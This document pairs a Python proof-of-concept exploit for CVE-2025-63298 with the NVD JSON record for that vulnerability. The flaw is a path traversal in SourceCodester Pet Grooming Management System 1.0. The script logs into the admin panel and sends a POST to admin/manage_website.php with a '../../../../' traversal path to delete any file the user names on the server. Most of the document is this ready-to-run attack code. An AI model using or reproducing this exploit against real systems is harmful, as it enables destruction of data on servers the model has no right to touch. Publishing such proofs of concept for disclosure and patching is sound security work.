CVE-2025-63298

import requests import sys # CVE-2025-63298 PoC - Path Traversal in Pet Grooming Management System # Target: SourceCodester Pet Grooming Management System 1.0 # Component: admin/manage_website.php def exploit(target_url, username, password, file_to_delete): """ Exploit path traversal vulnerability to delete arbitrary files """ # Login to obtain authenticated session login_url = target_url + '/admin/login.php' login_data = { 'username': username, 'password': password } session = requests.Session() login_response = session.post(login_url, data=login_data) if 'admin' not in login_response.text.lower(): print('[-] Login failed') return False print('[+] Login successful') # Exploit path traversal to delete arbitrary file exploit_url = target_url + '/admin/manage_website.php' # Construct malicious path with traversal sequences malicious_path = '../../../../' + file_to_delete exploit_data = { 'action': 'delete', 'file_path': malicious_path } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f'[+] File deletion attempt sent: {file_to_delete}') return True else: print('[-] Exploitation failed') return False if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password> <file_to_delete>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] exploit(target, user, pwd, file_path)

{"cve": {"id": "CVE-2025-63298", "sourceIdentifier": "[email protected]", "published": "2025-10-30T19:16:35.753", "lastModified": "2025-11-06T13:47:37.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path traversal vulnerability was identified in SourceCodester Pet Grooming Management System 1.0, affecting the admin/manage_website.php component. An authenticated user with administrative privileges can leverage this flaw by submitting a specially crafted POST request, enabling the deletion of arbitrary files on the web server or underlying operating system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-24"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mayurik:pet_grooming_management_software:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "B88D324D-B780-4D8D-BE43-829227D2808F"}]}]}], "references": [{"url": "https://github.com/z3rObyte/CVE-2025-63298", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.sourcecodester.com/sites/default/files/download/mayuri_k/petgrooming_erp.zip", "source": "[email protected]", "tags": ["Product"]}]}}